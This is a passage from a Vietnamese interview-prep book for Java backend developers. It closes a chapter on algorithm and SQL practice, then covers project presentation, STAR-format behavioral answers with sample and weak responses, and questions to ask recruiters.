Nói "vì sao" ở các quyết định chính, không đọc lại từng dòng code: chọn cấu trúc dữ liệu gì, bất biến của vòng lặp là gì, ca biên nào đang xử lý.
Ví dụ khi code Two Sum: "Em dùng HashMap từ giá trị sang index để tra phần bù O(1). Em kiểm tra trước rồi mới put, để không ghép phần tử với chính nó. Đoạn này em trả mảng rỗng khi không có đáp án, như mình đã thống nhất." Ba câu, mỗi câu gắn với một dòng quan trọng. Không cần nói "em khai báo biến i bằng 0". Khi viết xong, nói "giờ em chạy tay với ví dụ [3, 3], target 6" và đọc bảng trạng thái ra thành lời như các bảng chạy tay trong chương này.
12.16 Tóm tắt trọng tâm
1. Đáp án đúng chỉ là khoảng một phần ba số điểm, vì người phỏng vấn cần nhìn thấy cách bạn làm rõ đề, xử lý ca biên và tự kiểm tra, đúng những việc bạn sẽ làm hằng ngày trong team.
1. Luôn hỏi input rỗng/null/trùng, kích thước n và giá trị trả về khi không có đáp án trước khi gõ code, vì nhiều đề cố tình viết thiếu để xem bạn có hỏi không.
1. Big-O đo tốc độ tăng số bước theo n chứ không đo giây; với n = 1 triệu, O(n) là 1 triệu bước còn O(n^2) là 10^12 bước, nên ví dụ nhỏ không bao giờ lộ ra lời giải chậm.
1. Thấy "tìm cặp, đếm, đã gặp chưa" thì nghĩ tới HashMap, vì nó đổi O(n) bộ nhớ lấy tra cứu O(1) và kéo O(n^2) xuống O(n).
1. Thấy "đoạn con liên tiếp" thì nghĩ tới sliding window; nó là O(n) vì hai con trỏ chỉ tiến, và điều kiện prev >= left là chỗ hay sai nhất.
1. Thấy "lồng nhau" hoặc "phần tử gần nhất chưa xử lý" thì dùng stack bằng ArrayDeque, vì Stack cũ kế thừa Vector và đồng bộ không cần thiết.
1. Merge interval bắt buộc sort theo start trước và dùng Math.max khi nới đầu cuối, vì khoảng lồng bên trong sẽ làm co ngắn khoảng lớn nếu gán thẳng.
1. Học thuộc một khuôn binary search là lower bound trên nửa khoảng [lo, hi), vì mọi biến thể (upper bound, tìm trên không gian đáp án) đều suy ra từ nó và ít sai biên.
1. BFS cho đường ngắn nhất trên đồ thị không trọng số vì nó xử lý theo vòng khoảng cách tăng dần; đánh dấu visited lúc đưa vào queue để không xử lý một ô nhiều lần.
1. LRU cần HashMap cộng danh sách liên kết đôi để cả get và put đều O(1); trong production nên dùng Caffeine thay vì tự viết.
1. Luôn chạy tay code bằng bảng trạng thái với ít nhất một ca biên do bạn tự nghĩ ra, vì các lỗi như left lùi hay khoảng lồng nhau không lộ ra với ví dụ mẫu của đề.
1. Với SQL, dùng window function và bọc trong subquery/CTE để lọc hạng, vì WHERE chạy trước window function; tránh NOT IN với cột có thể NULL.
1. Với concurrency, ưu tiên công cụ dựng sẵn (BlockingQueue, CompletableFuture, Atomic) thay vì tự viết wait/notify, và luôn khôi phục cờ interrupt khi bắt InterruptedException.
12.17 Checklist ôn tập
1. Thuộc quy trình 6 bước và luyện nói to khi code ít nhất 10 bài
1. Luôn hỏi input rỗng/null, phần tử trùng, kích thước dữ liệu và giá trị trả về khi không có đáp án
1. Nói ngay được Big-O của ArrayList, HashMap, TreeMap, ArrayDeque, PriorityQueue và giải thích treeify của HashMap
1. Viết không cần IDE: Two Sum, Anagram, ký tự đầu tiên không lặp, chuỗi con dài nhất không lặp
1. Dùng ArrayDeque thay Stack, giải thích vì sao
1. Merge interval và lower bound viết đúng biên ngay lần đầu
1. BFS trên lưới, biết đánh dấu visited đúng lúc và rủi ro StackOverflowError của DFS đệ quy
1. LRU Cache bằng cả LinkedHashMap và HashMap + doubly linked list, nói được vấn đề thread-safety
1. Stream: groupingBy + summingLong/counting/maxBy, top N, partitioningBy, lỗi key trùng của toMap
1. SQL: lương cao thứ 2, top N mỗi nhóm bằng DENSE_RANK, tìm và xóa bản ghi trùng, phân biệt ROW_NUMBER/RANK/DENSE_RANK
1. Producer-consumer bằng BlockingQueue, in chẵn lẻ bằng wait/notifyAll và bằng Semaphore
1. Luôn khôi phục cờ interrupt khi bắt InterruptedException
1. Hoàn thành 60–80 bài theo kế hoạch 4–6 tuần và 2–3 buổi phỏng vấn thử
1. Nói được bằng lời thường Big-O nghĩa là gì và số bước của O(log n), O(n), O(n^2) khi n = 1.000.000
1. Chạy tay được mọi bài trong chương bằng bảng trạng thái và tự nghĩ ra ít nhất một ca biên cho mỗi bài
1. Tự làm lại 6 bài tập ở mục 12.14 trong 20 phút mỗi bài mà không xem đáp án
Chương 13. Kể chuyện dự án, Behavioral và vòng HR
Tôi đã loại không ít ứng viên trả lời kỹ thuật ổn nhưng không kể nổi dự án của chính mình trong 5 phút. Ở mức 2–4 năm, người phỏng vấn không chỉ tuyển một người biết Spring Boot, mà tuyển một người sẽ nhận task, trao đổi với BA, xử lý sự cố lúc 11 giờ đêm và không làm team mệt mỏi. Phần kể chuyện dự án và behavioral là nơi họ kiểm chứng điều đó, còn vòng HR là nơi bạn có thể mất vài triệu mỗi tháng chỉ vì một câu trả lời vội.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Bạn hiểu dự án ở mức nghiệp vụ và kiến trúc, không chỉ ở mức "em làm API"
1. Bạn tách bạch được phần mình làm và phần của team, có con số đo được
1. Bạn xử lý sự cố, bất đồng và áp lực thế nào (qua câu chuyện có thật, không phải lý thuyết)
1. Mọi dòng trong CV đều có thể đào sâu mà bạn không lúng túng
1. Bạn biết giá trị của mình trên thị trường và thương lượng một cách chuyên nghiệp



13.1 Vì sao ứng viên 2–4 năm trượt ở phần này
Những lý do tôi gặp lặp đi lặp lại trong phiếu đánh giá:
1. Kể dự án như đọc lại CV: liệt kê công nghệ, không có bối cảnh nghiệp vụ, không nói được hệ thống giải quyết vấn đề gì cho ai.
1. Chỉ dùng "chúng em": "chúng em dùng Kafka, chúng em làm microservice". Người phỏng vấn không biết bạn đóng góp gì, và thường mặc định là bạn đóng góp ít.
1. Không có con số: "hệ thống chạy nhanh hơn nhiều". Nhanh hơn bao nhiêu, đo bằng gì, trước và sau là bao nhiêu?
1. CV ghi thứ không trả lời được: ghi Kafka, Kubernetes, Elasticsearch nhưng hỏi hai câu là lộ ra chỉ từng đọc qua. Một dòng như vậy làm giảm lòng tin vào toàn bộ CV.
1. Tiêu cực về công ty cũ: chê sếp, chê dự án, chê đồng nghiệp. Người nghe sẽ nghĩ sáu tháng nữa bạn cũng nói về họ như vậy.
1. Không chuẩn bị câu hỏi ngược và deal lương lộn xộn: nói một con số rồi tự hạ xuống ngay khi HR im lặng.
Tin tốt là tất cả những lỗi này đều sửa được bằng chuẩn bị, không cần năng khiếu ăn nói.
13.2 Giới thiệu bản thân trong 60–90 giây
Câu "Em giới thiệu về bản thân đi" gần như luôn mở đầu buổi phỏng vấn. Đây là 90 giây bạn kiểm soát hoàn toàn nội dung, nên hãy dùng nó để dẫn người phỏng vấn tới những chủ đề bạn mạnh nhất.
Khung 4 phần tôi khuyên dùng:
1. Hiện tại: vai trò, số năm kinh nghiệm, lĩnh vực và stack chính.
1. Điểm nhấn: 1–2 dự án hoặc thành tựu nổi bật, có con số.
1. Điểm mạnh riêng: thứ làm bạn khác một backend dev bình thường (xử lý sự cố, tối ưu database, làm việc trực tiếp với khách hàng...).
1. Lý do ứng tuyển: vì sao vị trí này là bước tiếp theo hợp lý.
Ví dụ mẫu của một backend developer 3 năm kinh nghiệm (tên công ty và dự án là giả định):
"Em là backend developer với 3 năm kinh nghiệm Java và Spring Boot, hiện đang làm ở một công ty fintech, phụ trách nhóm service thanh toán của một ví điện tử khoảng 2 triệu người dùng. Trước đó em làm 1 năm rưỡi cho một nền tảng thương mại điện tử, chủ yếu ở phần đơn hàng và tồn kho. Việc em tự hào nhất gần đây là thiết kế lại luồng xác nhận giao dịch với cổng thanh toán đối tác: bổ sung idempotency key và cơ chế đối soát tự động, giúp giảm các ca giao dịch treo cần xử lý tay từ khoảng 40 ca mỗi tuần xuống dưới 5. Em cũng thường là người được gọi khi có sự cố hiệu năng ở database, vì em khá quen với việc đọc execution plan và tối ưu query trên PostgreSQL. Em ứng tuyển vị trí này vì muốn làm sâu hơn về hệ thống phân tán và có cơ hội tham gia thiết kế từ đầu, điều mà JD của anh chị nhắc tới ở dự án core banking mới."
Đoạn trên nói chậm rãi mất chừng 75–80 giây. Để ý rằng nó cài sẵn ba "móc câu": idempotency, đối soát, tối ưu PostgreSQL. Người phỏng vấn gần như chắc chắn sẽ hỏi tiếp vào một trong ba chủ đề đó, và đó chính là chỗ bạn đã chuẩn bị kỹ.
	BẪY THƯỜNG GẶP
Kể lan man từ thời đại học và điểm GPA, đọc thuộc lòng như văn mẫu, hoặc kéo dài 5 phút. Cũng đừng cài "móc câu" vào thứ bạn không nắm chắc: nhắc tới Kafka trong phần giới thiệu nghĩa là bạn mời người phỏng vấn hỏi về consumer group, offset và rebalancing.



13.3 Trình bày dự án: từ nghiệp vụ tới con số
Khi tôi nói "Em kể về dự án gần nhất", tôi muốn nghe theo thứ tự sau. Mỗi phần vài câu, tổng cộng 3–5 phút, sau đó dừng lại để tôi hỏi.
	Bước
	Trả lời câu hỏi
	Ví dụ ngắn

	Bối cảnh nghiệp vụ
	Hệ thống phục vụ ai, giải quyết gì, quy mô?
	Sàn TMĐT, 50 nghìn đơn/ngày, cao điểm gấp 10

	Kiến trúc
	Gồm những khối nào, giao tiếp ra sao?
	8 service Spring Boot, REST + Kafka, PostgreSQL, Redis

	Phần bạn làm
	Bạn sở hữu module nào, quyết định gì?
	Service đơn hàng và luồng hoàn tiền

	Vấn đề khó
	Khó ở đâu, bạn đã cân nhắc những phương án nào?
	Trừ tồn kho khi flash sale bị bán vượt

	Kết quả
	Con số trước và sau, bài học
	Bán vượt từ vài chục đơn mỗi đợt về 0



Hãy chuẩn bị sẵn một sơ đồ kiến trúc mà bạn vẽ được trong 2 phút trên giấy hoặc bảng trắng. Không cần đẹp, cần đúng luồng dữ liệu chính và chỉ rõ phần của bạn. Ví dụ dưới đây là sơ đồ dạng chữ cho dự án thương mại điện tử giả định ở trên.
	Mobile/Web -> API Gateway -> Order Service (phần em làm) -> PostgreSQL
                                  |                      -> Redis (khóa tồn kho)
                                  v  (phát event, bất đồng bộ)
                            Kafka: order-events
                             |               |
                   Payment Service     Notification Service



Giải thích: đọc sơ đồ từ trái sang phải: request đặt hàng đi đồng bộ từ app qua API Gateway vào Order Service; Order Service ghi đơn vào PostgreSQL, dùng Redis để khóa tồn kho, rồi phát event lên topic order-events. Payment Service và Notification Service đọc event đó một cách bất đồng bộ, nên Notification Service chết thì đơn vẫn tạo được, thông báo chỉ bị gửi trễ. Với mỗi mũi tên, bạn nên trả lời được: đồng bộ hay bất đồng bộ, nếu phía bên kia chết thì chuyện gì xảy ra, dữ liệu có thể bị trùng hoặc mất không. Đây là những câu người phỏng vấn middle sẽ hỏi ngay trên sơ đồ.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Luôn tách rõ "team" và "em": "Team có 5 backend. Phần em sở hữu là service đơn hàng; em là người đề xuất chuyển việc gửi thông báo sang Kafka thay vì gọi REST đồng bộ." Nói "em" không phải là khoe, mà là giúp người phỏng vấn chấm đúng năng lực của bạn.



Nguyên tắc sống còn: mọi công nghệ ghi trong CV đều có thể bị đào sâu tới tầng thứ ba. Bảng dưới là những chuỗi câu hỏi tôi hay dùng.
	Trong CV ghi
	Câu hỏi 1
	Câu hỏi đào sâu

	Kafka
	Vì sao dùng Kafka ở đây?
	Consumer xử lý trùng thế nào, mất message khi nào?

	Redis
	Cache cái gì, TTL bao nhiêu?
	Invalidate ra sao, cache stampede xử lý thế nào?

	Microservices
	Chia service theo tiêu chí gì?
	Transaction xuyên service giải quyết thế nào?

	Docker, K8s
	Em tự viết Dockerfile không?
	Pod restart liên tục thì em debug từ đâu?

	Tối ưu query
	Query nào, chậm bao nhiêu?
	Execution plan trước và sau khác gì?



13.4 Công thức STAR và 3 ví dụ mẫu
Với câu hỏi behavioral ("Kể về một lần..."), hãy trả lời theo STAR: Situation (bối cảnh ngắn), Task (trách nhiệm của bạn), Action (bạn đã làm gì, chiếm phần lớn thời lượng), Result (kết quả đo được). Tôi luôn muốn nghe thêm một chữ L ở cuối: Lesson, bạn rút ra gì và thay đổi quy trình ra sao. Ba ví dụ dưới đây dùng dự án giả định, bạn thay bằng chuyện thật của mình.
Ví dụ 1: Sự cố production khó nhất
	NHẮC LẠI KIẾN THỨC
Câu chuyện dưới đây dựa trên hai kiến thức kỹ thuật: connection pool (HikariCP giữ một số connection database cố định để dùng lại; hết connection thì request phải xếp hàng chờ) và việc @Transactional giữ một connection suốt thời gian method chạy. Xem mục 4.5 về @Transactional và mục 11.8 về kịch bản xử lý sự cố. Người phỏng vấn sẽ hỏi đúng vào những điểm này, nên chỉ kể chuyện mà bạn giải thích được cơ chế.



1. Situation: Ví điện tử, tối thứ Sáu cao điểm, API thanh toán bắt đầu timeout hàng loạt, tỷ lệ lỗi lên khoảng 30% trong 15 phút.
1. Task: Em đang trực on-call và là người sở hữu payment service, cần khôi phục dịch vụ trước rồi tìm nguyên nhân gốc.
1. Action: Em xem dashboard thấy HikariCP pool luôn ở mức 100% active, còn CPU database thấp, nên loại trừ khả năng query chậm. Lấy thread dump thì phần lớn thread đang chờ phản hồi từ API của đối tác ngân hàng, và lời gọi này nằm bên trong một method @Transactional, nghĩa là mỗi request giữ connection database suốt thời gian chờ đối tác. Đối tác đang chậm 8–10 giây nên pool cạn. Em đề xuất và được lead duyệt hotfix: đặt timeout 3 giây cho HTTP client và tách lời gọi đối tác ra ngoài transaction. Sau sự cố em bổ sung circuit breaker và alert khi pool usage vượt 80%.
1. Result: Hotfix lên sau khoảng 40 phút, tỷ lệ lỗi về dưới 0,5%. Ba tháng sau đó đối tác chậm thêm hai lần nhưng hệ thống chỉ báo lỗi cho đúng các giao dịch liên quan, không sập toàn bộ.
1. Lesson: Em viết postmortem và thêm vào checklist review code một mục: không gọi I/O bên ngoài trong transaction database.
Ví dụ 2: Bất đồng với tech lead
1. Situation: Sàn thương mại điện tử, sprint sắp release, em phát hiện API tạo đơn không có idempotency, app mobile khi mạng chập chờn sẽ retry và tạo đơn trùng.
1. Task: Em muốn bổ sung idempotency trước release, nhưng lead muốn để sang sprint sau vì sợ trễ hạn.
1. Action: Em không tranh luận bằng cảm tính mà lấy số liệu: truy vấn log 2 tuần thấy khoảng 0,3% đơn bị trùng, mỗi ca team CS mất khoảng 15 phút xử lý hoàn tiền. Em đề xuất phương án tối thiểu gói trong 1,5 ngày công: client gửi header Idempotency-Key, server lưu key kèm unique constraint, chưa làm phần cache kết quả phức tạp. Em nói rõ nếu lead vẫn quyết định để sau thì em sẽ ghi thành tech debt có ưu tiên cao.
1. Result: Lead đồng ý làm bản tối thiểu, release đúng hạn. Tỷ lệ đơn trùng sau release gần như bằng 0.
1. Lesson: Khi bất đồng, em đi kèm dữ liệu và một phương án nhỏ hơn thay vì chỉ nói "cách của em tốt hơn", và em chấp nhận quyết định cuối cùng của người chịu trách nhiệm.
Ví dụ 3: Tối ưu hiệu năng có số đo
	NHẮC LẠI KIẾN THỨC
N+1 là lỗi một query lấy danh sách cha rồi phát sinh thêm N query để lấy dữ liệu con của từng dòng, thường do lazy loading của JPA (xem mục 6.4). Composite index và EXPLAIN ANALYZE xem mục 6.2. "p95" là mức thời gian mà 95% request nhanh hơn, thước đo phổ biến hơn trung bình vì phản ánh trải nghiệm của nhóm người dùng chậm nhất (xem mục 11.6).



1. Situation: Trang quản trị đơn hàng tải danh sách mất khoảng 3,2 giây (p95), đội vận hành phàn nàn mỗi ngày.
1. Task: Em được giao đưa thời gian phản hồi xuống dưới 500 ms mà không thay đổi giao diện.
1. Action: Em bật log SQL và thấy mỗi trang 50 đơn sinh ra 101 câu query do N+1 khi load khách hàng và danh sách sản phẩm. Em đổi sang JOIN FETCH cho quan hệ ManyToOne và @BatchSize cho collection, chỉ lấy các cột cần hiển thị qua DTO projection. Dùng EXPLAIN ANALYZE thì thấy bảng đơn hàng bị quét toàn bộ khi lọc theo trạng thái và ngày tạo, em thêm composite index (status, created_at). Cuối cùng em đổi phân trang OFFSET sang keyset cho các trang sâu.
1. Result: p95 từ 3,2 giây xuống khoảng 180 ms, số query mỗi request từ 101 xuống 3. Em đo bằng số liệu từ APM trong một tuần trước và sau khi triển khai.
1. Lesson: Đo trước khi sửa. Nếu em thêm cache ngay từ đầu như ý tưởng ban đầu thì đã che mất vấn đề N+1.
	BẪY THƯỜNG GẶP
Câu chuyện STAR mà không có con số, hoặc Action toàn "chúng em". Một lỗi khác là bịa chuyện: người phỏng vấn giỏi sẽ hỏi "thread dump đó em lấy bằng lệnh gì?", "index đó tạo trên bảng bao nhiêu dòng, có lock bảng không?". Chuyện thật dù nhỏ vẫn tốt hơn chuyện hoành tráng mà không chịu nổi ba câu hỏi.



13.5 Các câu behavioral hay gặp
Câu hỏi (Cơ bản): Vì sao bạn muốn nghỉ việc ở công ty hiện tại?
Nói về thứ bạn đang tìm kiếm, không phải thứ bạn đang chạy trốn. Ví dụ: "Dự án hiện tại đã vào giai đoạn bảo trì, em muốn làm ở môi trường có bài toán tải lớn hơn và được tham gia thiết kế." Nếu lý do là lương, có thể nói thẳng nhưng nhẹ nhàng: "Em nghĩ mức đãi ngộ hiện tại chưa phản ánh đúng phạm vi công việc em đang đảm nhận."
	BẪY THƯỜNG GẶP
Chê sếp, chê công ty, hoặc kể lể mâu thuẫn cá nhân. Dù đúng sự thật, người nghe chỉ nhớ bạn là người hay đổ lỗi.



Câu trả lời tồi: "Dạ công ty em quản lý kém lắm anh, sếp toàn giao việc vô lý, OT liên tục mà không trả thêm." Tồi vì ba lý do: nói xấu nơi cũ, không nói được mình đang tìm gì, và người nghe tự hỏi "ở đây có OT thì em có bỏ đi không". Cùng sự thật đó có thể nói: "Em muốn một môi trường có quy trình ước lượng và lập kế hoạch rõ hơn, để thời gian của em dành cho giải quyết bài toán kỹ thuật thay vì chữa cháy."
Câu hỏi (Cơ bản): Điểm yếu lớn nhất của bạn là gì?
Chọn một điểm yếu thật, không ảnh hưởng cốt lõi tới vị trí, và nói bạn đang cải thiện thế nào. Ví dụ: "Em từng hay ôm việc, ngại nhờ giúp khi bị kẹt, có lần làm trễ task 2 ngày. Giờ em đặt quy tắc kẹt quá nửa ngày thì báo lead trong daily." Tránh câu sáo rỗng "em quá cầu toàn" hoặc "em làm việc quá chăm chỉ".
Câu trả lời tồi: "Em hơi yếu về database" khi đang ứng tuyển backend. Tồi vì điểm yếu chạm vào năng lực cốt lõi của vị trí và không kèm kế hoạch cải thiện. Một ví dụ khác đạt yêu cầu: "Em từng ngại trình bày trước đông người, nên các buổi demo em hay nói lan man. Sáu tháng nay em xin chủ động trình bày sprint review và chuẩn bị trước ba ý chính, lead nhận xét phần demo của em đã gọn hơn nhiều."
Câu hỏi (Thực chiến): Bạn xử lý thế nào khi deadline quá gấp?
Người phỏng vấn muốn nghe bạn báo sớm và thương lượng phạm vi, chứ không phải thức trắng. Hướng trả lời: ước lượng lại, báo rủi ro sớm cho lead/PM, đề xuất cắt phạm vi (làm phần lõi trước, phần phụ sau), giữ những thứ không được bỏ như test cho luồng tiền. Làm thêm giờ ngắn hạn là chấp nhận được, nhưng không phải chiến lược.
Ví dụ trả lời mẫu: "Ở dự án trước, khách hàng muốn đưa tính năng xuất hóa đơn điện tử lên sớm một tuần vì thay đổi quy định. Em ước lượng lại thì thấy làm đủ cần 8 ngày, còn 5 ngày. Em báo ngay trong buổi daily hôm đó, đề xuất chia hai đợt: đợt 1 làm luồng xuất hóa đơn chuẩn chiếm khoảng 90% giao dịch, có đủ test tích hợp; đợt 2 làm hóa đơn điều chỉnh và thay thế. PM đồng ý, khách hàng cũng chấp nhận. Đợt 1 lên đúng hạn không lỗi, đợt 2 lên sau 4 ngày. Em làm thêm hai buổi tối trong tuần đó, nhưng quyết định quan trọng là cắt phạm vi sớm chứ không phải làm thêm giờ."
Câu trả lời tồi: "Em sẵn sàng thức đêm, cuối tuần làm bù để kịp deadline ạ." Nghe có vẻ chăm chỉ, nhưng người phỏng vấn nghe ra: bạn không biết báo rủi ro, không biết thương lượng phạm vi, và khi mệt thì chất lượng code sẽ giảm, bug sẽ đẩy sang người khác.
Câu hỏi (Thực chiến): Bạn đã làm việc với khách hàng nước ngoài hoặc trong mô hình outsource chưa?
Rất hay gặp ở công ty outsource làm cho thị trường Nhật, Mỹ, châu Âu. Nêu cụ thể: bạn trao đổi trực tiếp hay qua BrSE/PM, đọc tài liệu đặc tả bằng ngôn ngữ gì, xử lý khác múi giờ thế nào. Câu chuyện tốt là khi yêu cầu mơ hồ, bạn viết lại câu hỏi dạng Q&A có ví dụ cụ thể, gửi trước buổi họp để khách xác nhận, tránh làm sai rồi phải sửa. Nếu có, nói thật trình độ tiếng Anh hoặc tiếng Nhật, đừng phóng đại vì người phỏng vấn có thể chuyển ngôn ngữ ngay.
Ví dụ trả lời mẫu: "Em làm 2 năm cho khách hàng Nhật, trao đổi qua BrSE. Tài liệu đặc tả bằng tiếng Nhật, team dịch sang tiếng Việt nhưng nhiều chỗ dịch mất ý. Em tập thói quen gom các chỗ chưa rõ thành bảng Q&A, mỗi câu có ví dụ input và output mong muốn, gửi trước giờ họp chiều. Khách trả lời trước khi em bắt đầu code, nhờ vậy số lần phải sửa lại do hiểu sai đặc tả trong module của em giảm rõ rệt so với giai đoạn đầu. Tiếng Nhật của em mới đọc được tài liệu kỹ thuật cơ bản, giao tiếp vẫn cần BrSE; tiếng Anh em đọc viết tốt, nói ở mức trao đổi công việc."
Câu trả lời tồi: "Dạ có, em làm với khách Nhật, cũng bình thường ạ." Không có chi tiết nào để chấm: bạn làm gì khác với một người chưa từng làm với khách nước ngoài?
Câu hỏi (Cơ bản): Bạn học công nghệ mới như thế nào?
Trả lời bằng một ví dụ gần đây thay vì liệt kê kênh học. Ví dụ: "Khi dự án cần Kafka, em đọc tài liệu chính thức phần consumer group và delivery semantics, dựng thử bằng Docker Compose, viết một PoC mô phỏng consumer chết giữa chừng để xem message có bị xử lý lại không, sau đó trình bày lại cho team 30 phút." Điểm cộng là có kiểm chứng bằng thực nghiệm và chia sẻ lại.
Câu trả lời tồi: "Em hay xem YouTube, đọc Medium, học trên Udemy ạ." Đây là danh sách kênh, không phải cách học. Nó không cho thấy bạn hiểu sâu tới đâu, cũng không có bằng chứng bạn đã áp dụng được gì.
Câu hỏi (Cơ bản): Mục tiêu của bạn trong 3–5 năm tới là gì?
Nêu hướng rõ ràng và gắn với vị trí đang ứng tuyển: trở thành senior có thể sở hữu một domain, hoặc đi theo hướng kỹ thuật chuyên sâu (hệ thống phân tán, hiệu năng), hoặc tech lead. Nói kèm bước cụ thể bạn đang làm. Tránh "em chưa nghĩ tới" hoặc "em muốn mở công ty riêng" khi phỏng vấn cho vị trí cần gắn bó lâu dài.
Ví dụ trả lời mẫu: "Trong 3 năm tới em muốn trở thành senior backend có thể sở hữu trọn một domain, ví dụ toàn bộ luồng thanh toán: từ thiết kế, vận hành tới xử lý sự cố. Để đi tới đó, năm nay em đang tập trung vào hai việc: hiểu sâu hệ thống phân tán qua việc tự làm lại các pattern như outbox và saga, và nhận thêm phần review code cho hai bạn mới vào team. Vị trí này hấp dẫn em vì JD nhắc tới việc tách hệ thống thanh toán hiện tại thành các service, đó đúng là loại bài toán em muốn làm."
Câu trả lời tồi: "Em muốn lên leader trong 1 năm." Mốc thời gian không thực tế với 2–4 năm kinh nghiệm và không kèm bước cụ thể, nghe như mong muốn chức danh chứ không phải kế hoạch phát triển năng lực.
Câu hỏi (Thực chiến): Kể về một lần bạn gây ra lỗi trên production.
Câu này kiểm tra sự trung thực và trách nhiệm. Nhận lỗi rõ ràng, nói bạn đã khắc phục và phòng ngừa thế nào (thêm test, thêm bước review migration, feature flag). Trả lời "em chưa gây lỗi bao giờ" ở mức 3 năm kinh nghiệm thường bị hiểu là chưa làm việc gì quan trọng hoặc không thành thật.
Ví dụ trả lời mẫu: "Em từng viết một migration thêm cột NOT NULL có giá trị mặc định vào bảng đơn hàng khoảng 20 triệu dòng. Trên môi trường test dữ liệu nhỏ nên chạy trong vài giây, lên production thì lệnh ALTER khóa bảng gần 4 phút, API tạo đơn timeout suốt thời gian đó. Em là người viết và tự tay chạy migration, nên em báo ngay trên kênh sự cố và phối hợp với DBA theo dõi tới khi xong. Sau đó em đề xuất ba thay đổi: migration trên bảng lớn phải được kiểm thử trên bản sao dữ liệu production, tách thành các bước không khóa bảng (thêm cột cho phép NULL, backfill theo batch, rồi mới thêm ràng buộc), và chạy ngoài giờ cao điểm. Từ đó team không gặp lại lỗi tương tự."
Câu trả lời tồi: "Có lần hệ thống lỗi nhưng do bạn QA test không kỹ ạ." Câu hỏi là về lỗi bạn gây ra; đổ sang người khác cho thấy bạn né trách nhiệm, đúng thứ câu hỏi này muốn phát hiện.
Câu hỏi (Thực chiến): Bạn phản ứng thế nào khi bị review code gay gắt?
Tách cảm xúc khỏi code: đọc kỹ, hỏi lại chỗ chưa hiểu, sửa nếu hợp lý, và bảo vệ bằng lý lẽ nếu không đồng ý. Kể thêm chiều ngược lại: khi review cho người khác, bạn góp ý vào code chứ không vào người, phân biệt góp ý bắt buộc và góp ý nhỏ.
Ví dụ trả lời mẫu: "Có lần em mở pull request khoảng 800 dòng, lead để lại hơn 30 comment, có câu khá thẳng như 'đoạn này không test được'. Lúc đầu em hơi chột dạ, nhưng em đọc lại thì thấy phần lớn đúng: em nhét logic tính phí vào controller. Em sửa theo, tách service và viết unit test. Có hai comment em không đồng ý, về việc đổi tên một enum trùng với thuật ngữ nghiệp vụ; em giải thích lý do kèm link tài liệu nghiệp vụ, lead đồng ý giữ nguyên. Sau lần đó em chia pull request nhỏ dưới 300 dòng, và thời gian review của team với code của em ngắn hẳn."
Câu trả lời tồi: "Em thấy review gay gắt là không tôn trọng nên em sẽ nói thẳng với anh đó." Hoặc ngược lại: "Anh lead nói gì em cũng sửa theo." Câu đầu cho thấy bạn đặt cảm xúc lên trên code, câu sau cho thấy bạn không có chính kiến kỹ thuật.
Câu hỏi (Thực chiến): Khi nhận một task có yêu cầu không rõ ràng, bạn làm gì?
Liệt kê giả định, hỏi BA/PO bằng ví dụ cụ thể, xác nhận bằng văn bản (comment trên ticket), chia task thành phần chắc chắn làm được ngay và phần chờ xác nhận. Người phỏng vấn đánh giá cao việc bạn không im lặng làm theo phỏng đoán.
Ví dụ trả lời mẫu: "Em từng nhận ticket 'cho phép khách hủy đơn'. Em liệt kê ra các câu hỏi: hủy được tới trạng thái nào, đơn đã thanh toán thì hoàn tiền tự động hay chờ duyệt, voucher đã dùng có trả lại không. Em gửi BA dưới dạng bảng, mỗi dòng một tình huống kèm đề xuất mặc định của em. Trong lúc chờ, em làm trước phần chắc chắn là API hủy đơn chưa thanh toán. BA trả lời sau một ngày và sửa hai trong năm đề xuất của em; nếu em tự làm theo phỏng đoán thì đã phải làm lại phần hoàn tiền."
Câu trả lời tồi: "Em sẽ làm theo cách em hiểu, sai thì sửa sau ạ." Sửa sau nghĩa là tốn gấp đôi công sức của bạn, của QA và có thể của khách hàng.
Câu hỏi (Cơ bản): Vì sao bạn chọn công ty chúng tôi?
Chứng minh bạn đã tìm hiểu: sản phẩm của họ, bài toán kỹ thuật trong JD, blog kỹ thuật hoặc phát biểu công khai của team. Nối với mục tiêu của bạn. Câu "vì công ty lớn, môi trường chuyên nghiệp" áp dụng được cho mọi nơi nên gần như không có giá trị.
Ví dụ trả lời mẫu (công ty giả định): "Em dùng app của anh chị để thanh toán hóa đơn điện nước hằng tháng, nên em khá tò mò phía backend xử lý đối soát với nhiều nhà cung cấp thế nào. Em có đọc bài blog của team về việc chuyển từ batch cuối ngày sang xử lý theo sự kiện, và JD cũng nhắc tới Kafka và PostgreSQL. Đây đúng là mảng em đang làm ở công ty hiện tại, và em muốn làm ở quy mô lớn hơn."
Câu trả lời tồi: "Em thấy công ty mình lớn, lương tốt, môi trường chuyên nghiệp ạ." Câu này thay tên công ty nào vào cũng đúng, nên người nghe hiểu là bạn chưa tìm hiểu gì.
Câu hỏi (Hiểu sâu): Tại sao chúng tôi nên chọn bạn thay vì ứng viên khác?
Tóm tắt 2–3 điểm khớp nhất giữa bạn và JD, mỗi điểm có một bằng chứng. Ví dụ: "Anh chị cần người có kinh nghiệm thanh toán và tối ưu PostgreSQL; em đã làm cả hai ở quy mô 2 triệu người dùng, với kết quả như em vừa kể."
Câu trả lời tồi: "Vì em chăm chỉ, ham học hỏi và có tinh thần trách nhiệm." Ba tính từ không có bằng chứng, ứng viên nào cũng nói được. Câu này là cơ hội để tóm tắt lại những bằng chứng mạnh nhất bạn đã kể trong buổi phỏng vấn, đừng bỏ phí.
Câu hỏi (Thực chiến): Bạn đang phỏng vấn ở đâu khác hoặc có offer nào chưa?
Trung thực nhưng không cần chi tiết: "Em đang ở vòng cuối một công ty khác, dự kiến có kết quả trong tuần sau." Thông tin này giúp HR đẩy nhanh quy trình. Tuyệt đối không bịa offer để ép giá, vì thị trường IT Việt Nam nhỏ hơn bạn nghĩ.
Câu trả lời tồi: "Em có 3 offer rồi, bên kia trả 50 triệu, bên mình trả hơn thì em đi." Vừa gây áp lực thô, vừa cho thấy tiền là tiêu chí duy nhất; nhiều HR sẽ dừng quy trình vì đoán bạn sẽ rời đi ngay khi có nơi trả cao hơn.
13.6 Câu hỏi nên hỏi ngược lại nhà tuyển dụng
Câu "Em có câu hỏi gì cho anh chị không?" là một phần của đánh giá. "Dạ không ạ" là cơ hội bị bỏ phí. Chuẩn bị 3–5 câu, chọn tùy người đối diện:
